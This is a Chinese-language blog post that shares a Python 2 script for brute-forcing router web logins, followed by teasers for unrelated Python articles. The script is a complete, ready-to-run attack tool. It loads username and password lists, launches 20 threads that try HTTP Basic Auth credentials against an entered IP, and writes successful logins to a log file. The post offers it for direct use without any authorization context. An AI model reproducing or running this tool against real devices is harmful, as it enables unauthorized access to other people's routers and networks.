python实现多线程暴力破解登陆路由器功能代码分享

yipeiwu_com5年前Python基础

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

复制代码 代码如下:

#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.Request("http://"+target)
      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
      request.add_header('Authorization', psw_base64)
      try:
        
        response = urllib2.urlopen(request)
        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
        fp3 = open('log.txt','a')
        fp3.write(self.user+'||'+self.passwd+'\r\n')
        fp3.close()
      except urllib2.HTTPError:
        print "[-]password:%s Error!" % (self.passwd)

 

if __name__ == '__main__':
  print '''
    #######################################################
    #                                                     #
    #                Routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
'''
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input("input ip:")
  fp =open("user.txt")
  fp2=open("passwd.txt")
  for user in fp.readlines():
    queue.put(user.split('\n')[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split('\n')[0])
    #print passwordlist
      
  fp.close()
  fp2.close()
  for i in range(line):
    a = Rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()

相关文章

解决tensorflow测试模型时NotFoundError错误的问题

错误代码如下: NotFoundError (see above for traceback): Unsuccessful TensorSliceReader constructor...

python threading模块操作多线程介绍

python是支持多线程的,并且是native的线程。主要是通过thread和threading这两个模块来实现的。thread是比较底层的模块,threading是对thread做了一...

python按照多个条件排序的方法

对tuple进行排序,先按照第一个元素升序,如果第一个元素相同,再按照第二个元素降序排列。 L = [(12, 12), (34, 13), (32, 15), (12, 24),...

Pandas过滤dataframe中包含特定字符串的数据方法

Pandas过滤dataframe中包含特定字符串的数据方法

假如有一列全是字符串的dataframe,希望提取包含特定字符的所有数据,该如何提取呢? 因为之前尝试使用filter,发现行不通,最终找到这个行得通的方法。 举例说明: 我希望提取所有...

pytorch实现特殊的Module--Sqeuential三种写法

我就废话不多说了,直接上代码吧! # -*- coding: utf-8 -*- #@Time :2019/7/1 13:34 #@Author :XiaoMa import...